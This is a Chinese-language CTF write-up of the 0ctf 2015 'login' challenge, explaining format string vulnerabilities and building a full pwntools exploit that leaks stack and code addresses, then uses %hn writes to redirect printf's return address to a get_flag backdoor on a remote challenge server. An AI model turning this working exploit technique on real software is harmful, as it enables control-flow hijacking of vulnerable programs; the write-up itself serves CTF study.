[pwn]格式化字符串:0ctf 2015 login writeup

格式化字符串:0ctf 2015 login writeup

格式化字符串漏洞

格式化字符串漏洞是不正確的使用printf函數導致的,爲了簡便使用printf(s),而s是用戶可控的字符串,就會導致任意地址讀和任意地址寫漏洞。**歸根結底,由於printf的參數個數是不確定的,而函數本身根據第一個參數之中的格式化字符數量和內容來確定有多少個參數,所以如果用戶可以控制第一個參數,那麼就能構造相應的格式化字符串,最後導致讓一些本不是參數的寄存器或棧中的值被作爲參數輸出或被修改。**關於格式化字符串漏洞更詳細的原理i春秋的這篇文章講解的很細緻,這裏不過多贅述,說一些比較重要的點:

在格式化字符串內存讀的時候,%p和%x的區別:%p比%x多個前綴0x,使用中沒啥區別

在格式化字符串內存寫的時候,%n和%ln都是寫入4個字節的整數,%hn寫入兩個字節的整數,%hhn寫入一個字節的整數,%lln寫入8個字節的整數。至於寫入的原理,之前提到的文章之中已經講過,如果看的不是很懂多看幾篇wp也就懂了。值得一說的就是,有時候直接寫入4字節或者8字節可能會不成功,我也不知道爲啥,總之使用hn和hhn是最穩的。而如果在一個printf中多次使用%hn和%hhn寫入一個地址的話,要注意要將要寫入的內容按照從小到大順序排序,因爲寫入的值是“已打印字符數”所以如果先把大的寫入了,就沒辦法寫小的了。

題目分析

今天使用0ctf 2015 的一道pwn 題,login

由於我的環境缺少一些奇奇怪怪的東西,弄了半天沒有弄好,所以我是靜態看代碼寫的。首先查看一下安全策略:
在這裏插入圖片描述
保護全開,接下來看一下程序的邏輯(我本地運行不了,nc的靶場服務器查看的)
在這裏插入圖片描述
不知道在幹啥,還是IDA看吧:
在這裏插入圖片描述
首先要是用guest:guest123賬戶登錄才能通過。然後會觸發菜單:
在這裏插入圖片描述
show profile沒啥值得關注的,login as user 就是將用戶名改成另一個,長度256:
在這裏插入圖片描述
然後注意在IDA之中可以看到一個隱藏的選項:
在這裏插入圖片描述
在dest[256]=0的時候,輸入功能4會觸發這個函數,而這個函數之中存在漏洞:
在這裏插入圖片描述
格式化字符串漏洞,還存在兩處,沒有發現其他明顯漏洞,那麼不出意外就是這兩處第一處用來讀第二處用來寫了。正常情況下是觸發不了這個函數的,因爲在最初我們登陸的時候(使用guest),將dest[256]設置爲了1:
在這裏插入圖片描述
我們需要在login as user之中輸入長度爲256的字符串正好讓最後的’\0’覆蓋1,就可以觸發這處漏洞了:
在這裏插入圖片描述
除此之外程序提供了後門函數get_flag:
在這裏插入圖片描述

利用思路

首先,程序保護全開,只能通過第一個任意字符串讀來泄露地址,否則無法進行進一步利用,查看了一下網上的wp,使用的方法比較複雜,是通過第二次改寫改寫puts中的一個間接調用來getflag,操作起來難度較高。最主要的限制還是在第二次格式化字符串之後只調用了幾個puts就exit()了:
在這裏插入圖片描述
這導致修改返回地址沒有用,而程序保護全開,無法修改got表,所以修改libc中puts之中的間接調用也不失爲一種好選擇,但其實還有更簡單的方法,那就是,修改printf的返回值爲後門函數get_flag。

因爲printf的任意地址寫實在函數正在執行過程中(返回前)完成的,所以修改printf的返回值完全可以實現。

開始利用

首先需要做的就是泄露地址,想要修改printf的返回地址爲後門函數get_flag的地址我們需要知道兩點,第一個就是程序的加載地址(繞過PIE)然後需要泄露棧的地址。我使用的方法是從main開始梳理棧的結構,首先main開始的時候太高了0x10的棧,然後發現調用login2之前整個main函數再無其他對棧的操作:
在這裏插入圖片描述
那麼main的棧結構如下所示:
在這裏插入圖片描述
到了login2函數中,查看對棧的操作:
在這裏插入圖片描述
只是太高了220的棧,那麼login2之中的棧空間大體是這樣的:
在這裏插入圖片描述
所以當我們調用printf的時候printf的返回值就會出現在棧的最上方:
在這裏插入圖片描述
那麼只看這個棧空間我們差不多可以一次泄露出棧的地址和程序加載的地址,我們只需泄露main的rbp和login2的返回地址,也就是上圖中被紅色圈住的兩個地址,根據main函數的rbp,我們可以根據棧結構計算出printf的返回地址是

main的rbp-0x248

login2的返回地址,就在程序代碼段,我們可以根據偏移計算出後門函數get_flag的地址:
在這裏插入圖片描述
在這裏插入圖片描述
所以後門函數get_flag的地址是:

login2的返回地址-0x12D3+FB3

那麼想要泄露這兩個地址,我們要知道這兩個地址在棧中的位置屬於第幾個printf參數的位置,由於程序是64位,前6個參數是在6個寄存器中,所以計算過程如下圖:
在這裏插入圖片描述
參數從0開始計算,那麼main的rbp的位置就是5+16*2*2+4+1=74個,login2返回地址是75個,那麼使用%74$p,%75$p驗證一下:
在這裏插入圖片描述
雖然是隨機加載的程序,但也是按頁加載,一頁內存肯定是0x1000的倍數所以後三個字節是不變的,那麼可以看到login2的下一句的後三個字節也是2d3,說明泄露成功:
在這裏插入圖片描述
接下來就是進行寫入,光靠目前對站結構的瞭解是無法進行寫入的,需要對棧進行進一步的分析,要知道我們輸入的字符串在棧的具體位置,首先查看漏洞函數的結構:
在這裏插入圖片描述
那麼可以看到name存入的是s1字符串,password存入的是s字符串,兩個字符串在棧中的佈局如下:
在這裏插入圖片描述
而由於有兩個字符串可供我們使用,我們採取的做法是將name字符串輸入格式化字符串,去觸發怕printf,然後將password輸入要寫入的地址。但這裏就像我開始說的,直接寫入會失敗,需要使用hn兩個字節兩個字節的寫入。那麼這樣的話我們就需要對想要寫入的地址和寫入的值進行兩個字節的分組,然後以要寫入的值進行排序,只能先輸入小的在輸入大的,要麼先輸入大的小的就無法輸入(寫入的值是已輸出的字符串數)。然後我們還需要知道password相當於printf的第幾個參數,根據上面棧圖可以計算:5+2+16*2+1=40,也就是第40個參數的位置。下面對排序和寫入提供一個小demo:

writes = {}

def write8(where, what): #進行兩字節分組配對
    global writes
    writes[where] = what & 0xffff
    writes[where + 2] = (what >> 16) & 0xffff
    writes[where + 4] = (what >> 32) & 0xffff
    writes[where + 6] = (what >> 48) & 0xffff

write8(neweip_addr,flag_addr)

username = ''
password = ''
printed = 0
index = 40

for where, what in sorted(writes.items(), key=operator.itemgetter(1)): #對配對好的內容進行以what排序
    delta = (what - printed) & 0xffff
    if delta > 0:
        if delta < 8:
            username += 'A' * delta
        else:  #大於8個字符的改用%44c這種形式
            username += '%' + str(delta) + 'c'

    username += '%' + str(index) + '$hn'   
    index += 1
    password += p64(where)
    printed += delta

由於這個程序是我們有兩個字符串可以操作,加入只有一個字符串可以操作的話可以分將字符串分爲兩部分,第一部分是格式化字符串,第二部分是要寫的地址,然後需要注意的是需要調整第一部分的長度使第二部分是8字節對齊的(調整長度可以選擇減少數字加字符的形式)。下面給出完整exp:

from pwn import *
import operator

p=remote('114.115.190.15',40036)
elf=ELF('./login')

print p.recv()
p.sendline('guest')
print p.recv()
p.sendline('guest123')
print p.recv()
p.sendline('2')
print p.recvuntil('Your choice:')
p.sendline('a'*256)

print p.recvuntil('Your choice:')
p.sendline('4')
print p.recvuntil('Login:')
p.sendline('%74$p,%75$p,')
print p.recvuntil('Password:')
p.sendline('a')

ebp_addr=int(p.recvuntil(',').split(',')[0],16)
eip_addr=int(p.recvuntil(',').split(',')[0],16)
neweip_addr=ebp_addr-0x248
flag_addr=eip_addr-0x12D3+0xfb3

writes = {}

def write8(where, what):
    global writes
    writes[where] = what & 0xffff
    writes[where + 2] = (what >> 16) & 0xffff
    writes[where + 4] = (what >> 32) & 0xffff
    writes[where + 6] = (what >> 48) & 0xffff

write8(neweip_addr,flag_addr)
print writes

username = ''
password = ''
printed = 0
index = 40

for where, what in sorted(writes.items(), key=operator.itemgetter(1)):
    delta = (what - printed) & 0xffff
    if delta > 0:
        if delta < 8:
            username += 'A' * delta
        else:
            username += '%' + str(delta) + 'c'

    username += '%' + str(index) + '$hn'   
    index += 1
    password += p64(where)
    printed += delta
print username
print password

print p.recvuntil('Login:')
p.sendline(username)
print p.recvuntil('Password:')
p.sendline(password)
p.interactive()

成功:
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章